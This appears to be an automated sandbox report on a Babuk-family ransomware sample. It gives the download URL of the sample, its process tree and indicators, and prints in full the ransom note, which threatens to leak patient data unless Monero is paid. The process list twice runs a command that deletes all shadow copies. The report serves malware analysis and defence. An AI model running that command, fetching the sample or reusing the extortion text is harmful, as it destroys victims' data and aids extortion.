Analysis
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max time kernel
215s -
max time network
184s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
23-01-2022 12:04
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://transfer.sh/45dIVs/worstgeneration.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
https://transfer.sh/45dIVs/worstgeneration.exe
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
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Target
https://transfer.sh/45dIVs/worstgeneration.exe
Score
10/10
Malware Config
Extracted
Path
C:\How To Restore Your Files.txt
Ransom Note
You are probably wondering why you are receiving a message from me.
Yesterday, duncanregional.com got breached.
You are probably not aware, but over the past few days we have been exfiltrating all of your data that we could get our hands on.
We took over 150GB data + patient userdata from dba servers.
What happened to your files?
Your network was been penetrated.
All of your files were encrypted using AES-256-CTR with ChaCha8 Cipher.
WARNING:
Don't try to decrypt your files, shadow copies were removed,
recovery methods can lead to the impossibility of recovery of the certain files.
We exclusively have decryption software for your situation,
no decryption software is available in the public.
Pay 60,000 (USD) in XMR (Monero) to this address: 4BExj4Z7n73316oWSd6k3Wj7A12PFVUSeHoobSPpaCJVdH6Z1oRBBssemrpwW5GyRt7xi3SQCeJzUa1uFoWWNySYCxoHv13
How do you buy XMR?
https://bisq.network/ to buy XMR using fiat.
Alternatively use a Cryptocurrency exchange to buy XMR:
https://www.kraken.com/
Use this guide: https://www.getmonero.org/
After sending the specified amount to our wallet we will provide you
with the decryption keys to unlock your files.
If you do not respond (24 hour deadline, starting now), or we do not receive a response from you
we will start the data to our potential buyers, and leak a partial,
All of your clients (patients / employers) will be informed and given proof that their data has been compromised
and publish everything in a public way in multiple places and outlets to get more customers interested in buying the data
and also reporting the availability of this data to the appropriate news platforms.
Contact:
telegram: @redeyeg0d
email: [email protected]
Emails
URLs
https://bisq.network/
https://www.getmonero.org/
Signatures
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Babuk Locker
RaaS first seen in 2021 initially called Vasa Locker.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Executes dropped EXE 2 IoCs
pid Process 920 worstgeneration.exe 1852 AddInProcess32.exe -
Modifies extensions of user files 19 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\StartUndo.tiff => C:\Users\Admin\Pictures\StartUndo.tiff.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\StartUndo.tiff.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\UndoRepair.raw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\MeasureDebug.tiff.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\StartUndo.tiff AddInProcess32.exe File renamed C:\Users\Admin\Pictures\SetRegister.raw => C:\Users\Admin\Pictures\SetRegister.raw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\SetRegister.raw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\SkipPing.tiff.babyk AddInProcess32.exe File renamed C:\Users\Admin\Pictures\MeasureDebug.tiff => C:\Users\Admin\Pictures\MeasureDebug.tiff.babyk AddInProcess32.exe File renamed C:\Users\Admin\Pictures\GrantAssert.crw => C:\Users\Admin\Pictures\GrantAssert.crw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\GroupOut.png.babyk AddInProcess32.exe File renamed C:\Users\Admin\Pictures\InitializeSet.raw => C:\Users\Admin\Pictures\InitializeSet.raw.babyk AddInProcess32.exe File renamed C:\Users\Admin\Pictures\SkipPing.tiff => C:\Users\Admin\Pictures\SkipPing.tiff.babyk AddInProcess32.exe File renamed C:\Users\Admin\Pictures\UndoRepair.raw => C:\Users\Admin\Pictures\UndoRepair.raw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\MeasureDebug.tiff AddInProcess32.exe File renamed C:\Users\Admin\Pictures\GroupOut.png => C:\Users\Admin\Pictures\GroupOut.png.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\GrantAssert.crw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\InitializeSet.raw.babyk AddInProcess32.exe File opened for modification C:\Users\Admin\Pictures\SkipPing.tiff AddInProcess32.exe -
Loads dropped DLL 1 IoCs
pid Process 920 worstgeneration.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: AddInProcess32.exe File opened (read-only) \??\I: AddInProcess32.exe File opened (read-only) \??\O: AddInProcess32.exe File opened (read-only) \??\H: AddInProcess32.exe File opened (read-only) \??\Z: AddInProcess32.exe File opened (read-only) \??\X: AddInProcess32.exe File opened (read-only) \??\V: AddInProcess32.exe File opened (read-only) \??\T: AddInProcess32.exe File opened (read-only) \??\M: AddInProcess32.exe File opened (read-only) \??\B: AddInProcess32.exe File opened (read-only) \??\W: AddInProcess32.exe File opened (read-only) \??\R: AddInProcess32.exe File opened (read-only) \??\U: AddInProcess32.exe File opened (read-only) \??\F: AddInProcess32.exe File opened (read-only) \??\G: AddInProcess32.exe File opened (read-only) \??\L: AddInProcess32.exe File opened (read-only) \??\N: AddInProcess32.exe File opened (read-only) \??\Q: AddInProcess32.exe File opened (read-only) \??\A: AddInProcess32.exe File opened (read-only) \??\P: AddInProcess32.exe File opened (read-only) \??\S: AddInProcess32.exe File opened (read-only) \??\J: AddInProcess32.exe File opened (read-only) \??\K: AddInProcess32.exe File opened (read-only) \??\E: AddInProcess32.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 920 set thread context of 1852 920 worstgeneration.exe 31 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 624 vssadmin.exe 1736 vssadmin.exe -
Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PhishingFilter iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = a0c9d5705110d801 iexplore.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A82295F1-7C44-11EC-8C33-C64E4713EE09} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "18" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b01132805110d801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\transfer.sh\Total = "18" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\transfer.sh\NumberOfSubdomains = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc9200000000020000000000106600000001000020000000c778cdf4561762fc58054ca42afd483c6468e625981091d53e89d46c4d953d97000000000e8000000002000020000000df7c8a7549300a0d94a081c17b2c7ee2b6b0986bb633aa77acf21bcdd90dbefc20000000c483acc034c55f4541f13048e496521efeec35f13e3b259233295f4d3da689b540000000e6a34fc6c2575d0b5c9f345540ef73b2f06de862eca9e6561798b92a0544aa31807deb62195af80d2d99f41dd89869547c37153935f7f4116379538f4f451253 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\transfer.sh\ = "18" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc9200000000020000000000106600000001000020000000c6791dda9fbe68b1aa0cb39432ea83d7b8b72a1467a92a4dcaeaff9bc1d47ae2000000000e8000000002000020000000c1b41f71b9d2b0765b06eb38cacbc183bb17c5736a9ee6dae88211b248bcea80900000004464b8a09e1fff8a8e09a99a5471e69ed9136848c063e88451315525bda2964672aaff4620cdf712c96628fc0693f277b5ff87dc1be669bb2122fd79c0a2234880b9799ce68eaa0a31f5d5204726f72d8f209cb1bfa9d4c5bc7f1dfdb4d0380345b4055bdb162187735a13df2119790ce5eec6ee03482c77a3b66f105ba63269b84878f16b9fbbb5ecf759f9c85605a24000000092de4d448d383689f890738eac7bded2b1e8a7c73d9132cd50413d3df34de87c2f24d5ed05298fc8eb748aa537c152b98f23e6516d4270e07c31ba9105285be0 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "349704461" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\transfer.sh\ = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\transfer.sh\Total = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DOMStorage\transfer.sh IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 920 worstgeneration.exe 920 worstgeneration.exe 1852 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 920 worstgeneration.exe Token: SeBackupPrivilege 336 vssvc.exe Token: SeRestorePrivilege 336 vssvc.exe Token: SeAuditPrivilege 336 vssvc.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1608 iexplore.exe 1608 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1608 iexplore.exe 1608 iexplore.exe 1088 IEXPLORE.EXE 1088 IEXPLORE.EXE 1088 IEXPLORE.EXE 1088 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 1608 wrote to memory of 1088 1608 iexplore.exe 28 PID 1608 wrote to memory of 1088 1608 iexplore.exe 28 PID 1608 wrote to memory of 1088 1608 iexplore.exe 28 PID 1608 wrote to memory of 1088 1608 iexplore.exe 28 PID 1608 wrote to memory of 920 1608 iexplore.exe 30 PID 1608 wrote to memory of 920 1608 iexplore.exe 30 PID 1608 wrote to memory of 920 1608 iexplore.exe 30 PID 1608 wrote to memory of 920 1608 iexplore.exe 30 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 920 wrote to memory of 1852 920 worstgeneration.exe 31 PID 1852 wrote to memory of 1448 1852 AddInProcess32.exe 32 PID 1852 wrote to memory of 1448 1852 AddInProcess32.exe 32 PID 1852 wrote to memory of 1448 1852 AddInProcess32.exe 32 PID 1852 wrote to memory of 1448 1852 AddInProcess32.exe 32 PID 1448 wrote to memory of 624 1448 cmd.exe 34 PID 1448 wrote to memory of 624 1448 cmd.exe 34 PID 1448 wrote to memory of 624 1448 cmd.exe 34 PID 1852 wrote to memory of 1664 1852 AddInProcess32.exe 37 PID 1852 wrote to memory of 1664 1852 AddInProcess32.exe 37 PID 1852 wrote to memory of 1664 1852 AddInProcess32.exe 37 PID 1852 wrote to memory of 1664 1852 AddInProcess32.exe 37 PID 1664 wrote to memory of 1736 1664 cmd.exe 39 PID 1664 wrote to memory of 1736 1664 cmd.exe 39 PID 1664 wrote to memory of 1736 1664 cmd.exe 39
Processes
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://transfer.sh/45dIVs/worstgeneration.exe1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1608 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1088
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3UFND3CH\worstgeneration.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3UFND3CH\worstgeneration.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"3⤵
- Executes dropped EXE
- Modifies extensions of user files
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:1736
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:336